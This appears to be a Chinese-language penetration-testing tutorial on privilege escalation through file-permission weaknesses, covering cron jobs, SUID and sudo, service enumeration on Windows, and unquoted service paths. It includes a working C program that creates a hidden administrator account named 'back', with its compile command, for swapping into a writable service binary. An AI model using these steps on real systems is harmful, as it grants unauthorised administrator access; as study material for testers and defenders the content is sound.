提权思路之 - 文件权限

这个也算是提权方法之一

Linux

查看定时任务

看看什么定时任务是有root权限:

grep "CRON" /var/log/cron.log
grep "CRON" /var/log/syslog
cat /etc/crontab
# 示例输出
Jan27 15:55:26 victim cron[719]: (CRON) INFO (pidfile fd = 3)
Jan27 15:55:26 victim cron[719]: (CRON) INFO (Running @reboot jobs)
...
Jan27 17:45:01 victim CRON[2615]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:50:01 victim CRON[2631]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 17:55:01 victim CRON[2656]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)
Jan27 18:00:01 victim CRON[2671]:(root) CMD (cd /var/scripts/ && ./user_backups.sh)

如果对应的脚本以root权限执行并且当前用户有权限修改此文件,则可以完成提权操作

SUID提权

一般有SUID的文件,都是通过执行这个文件来调用shell
在以下例子中,php7.4这个二进制的文件具有SUID权限,则可以通过这个文件进行提权

sudo提权

sudo会以root权限执行程序或者命令
在以下例子中,当前用户有sudo权限执行某些程序,而刚好这个程序可以调用shell,则可以提权到root

运用Linpeas

“linpeas.sh”脚本,提权信息收集挺有用的,项目地址

Windows

PowerShell下运行
文件权限说明:
MASK PERMISSIONS
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

查看服务

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

查看服务属性

wmic service where caption="[服务名]" get name, caption, state, startmode
#示例输出
Caption  Name     StartMode  State
Service  Service  Auto       Running

查看文件权限

icacls "[文件路径]"

# 示例输出
[文件路径] BUILTIN\Users:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
                                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

执行

上例中可以见到某个服务所对应的文件的权限中有SYSTEM的全权访问权限,则可以用另一文件进行替换,这里使用一个添加用户的C代码示例(其实也可以用msfvenom生成一个shell后门进行替换):

#include <stdlib.h>
int main ()
{
  int i;
  
  i = system ("net user back Aa123! /add");
  i = system ("net localgroup administrators back /add");
  
  return 0;
}

# linux上进行编译
i686-w64-mingw32-gcc adduser.c -o adduser.exe

替换文件并重启服务(或者重启机器后)可获得访问权限

未引用的服务路径

每个 Windows 服务都映射到一个可执行文件,该文件将在服务启动时运行。大多数情况下,第三方软件附带的服务存储在C:\Program Files目录下,其名称中包含一个空格字符,这可能会导致权限攻击成为可能。当使用包含空格的文件或目录路径时,开发人员应始终确保用引号将它们括起来。2这确保了它们被显式声明。但是,如果不是这种情况并且路径名未被引用,则可以进行解释。具体来说,在可执行路径的情况下,每个空白字符之后的任何内容都将被视为可执行文件的潜在参数或选项。
假设有一个服务,它的启动文件在C:\Program Files\My Program\My Service\service.exe,如果开发人员在设计程序的时候服务路径未加引号进行引用,则每当Windows启动该服务时都会尝试从以下路径运行可执行文件:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

在以上示例中,Windows 将搜索每个“已解释位置”以尝试找到有效的可执行路径。为了利用这一点并破坏原始的未引用服务调用,那就需要创建一个恶意可执行文件,将其放置在与解释路径之一对应的目录中,并g根据目录路径对该恶意文件进行重命名,使其也与解释文件名相匹配。然后,当服务运行时,它应该以服务启动时相同的权限执行恶意文件。通常是NT\SYSTEM帐户,这会导致一次成功的特权升级攻击

Windows Priv Checker

检查系统各种信息的
项目地址

# CMD基础用法
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

#CMD 进阶用法
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"

winpeas系列

有exe/bat版本,项目地址